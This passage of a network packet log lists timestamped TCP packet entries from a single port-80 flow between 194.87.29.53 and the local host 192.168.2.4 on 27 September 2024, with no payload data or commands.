Sep 27, 2024 18:29:03.027686119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027695894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027725935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027801037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027812004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027822971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027834892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027847052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027854919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027888060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027906895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027951956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027964115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.028002024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.028019905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.028032064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.028042078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.028053999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.028064013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.028072119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.028093100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.028120995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.028949976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029002905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029011965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029015064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029047012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029078007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029135942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029148102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029158115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029167891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029196024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029227972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029305935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029316902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029326916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029336929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029349089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029359102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029364109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029376984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.029382944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029433012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.029433012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.030570030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030731916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030742884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030754089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030756950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.030766964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030778885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030790091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030818939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.030848980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.030946016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030956984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.030967951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031008959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031048059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031066895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031079054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031089067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031100035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031111002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031121969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031132936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031132936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031168938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031198025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031652927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031665087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031680107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031717062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031742096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031752110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031764030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031774044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031785965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031810045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031842947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.031939030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031949997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031960011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031970024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031980991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.031992912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032001972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032004118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032015085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032021999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032027006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032052040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032079935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032197952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032207966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032218933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032257080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032289028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032325983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032336950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032346964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032356977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032387018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032417059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032489061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032499075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032507896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032517910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032527924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032537937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032546997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032548904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032562017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032579899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032608032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032752037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032762051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032772064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032783031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032812119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032840967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.032910109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032918930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032927990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032938004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032948017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.032979012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033010960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033065081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033075094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033085108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033102036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033112049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033123016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033132076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033133984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033143997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033154011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033159018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033188105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033216953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033514023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033525944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033535004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033544064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033554077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033564091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033572912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033579111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033584118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033596992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033597946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033607006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033618927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033622980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033647060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033665895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033731937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033786058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033795118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033798933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033838987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033890963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033901930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033911943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033921957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.033957005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.033983946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034022093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034034014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034043074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034051895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034063101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034076929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034080029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034086943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034099102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034102917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034109116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034127951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034168005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034327984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034387112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034459114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034468889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034476995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034492970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034506083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034517050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034523010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034527063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034538031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034549952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034553051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034560919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034576893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034605026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034728050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034784079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034790993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034804106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034852982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034857035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034864902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034877062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034888029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.034904957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.034949064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035017014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035028934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035089016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035093069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035099030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035109997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035120010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035130024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035150051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035187006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035187006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035293102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035304070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035312891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035322905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035331011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035340071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035356045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035361052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035367012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035377979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035393953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035404921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035412073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035412073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035414934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035432100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035432100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035453081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035495996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035746098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035757065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035765886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035775900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.035809994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.035832882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.045730114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.045805931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046077013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046088934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046099901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046111107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046122074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046132088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046132088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046144962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046159029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046191931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046221972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046232939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046241999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046281099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046297073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046310902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046329021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046338081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046349049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046359062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046370983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046371937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046406031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046428919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046616077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046634912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046674013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046688080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046772957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046783924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046793938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046803951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046814919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046824932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046829939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046838045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.046870947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.046890020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047064066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047075033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047086000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047095060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047120094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047137022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047142982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047149897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047159910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047169924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047177076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047180891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047194958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047204971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047218084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047250032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047496080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047550917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047830105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047877073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047890902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047894955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047923088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047947884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.047965050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047976971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.047986031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048022032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.048053026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.048767090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048777103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048788071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048805952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048815966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048825026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048835993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.048840046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.048875093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.048890114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049017906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049029112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049038887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049048901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049058914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049076080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049098015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049129009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049149990 CEST	80	60865	194.87.29.53	192.168.2.4
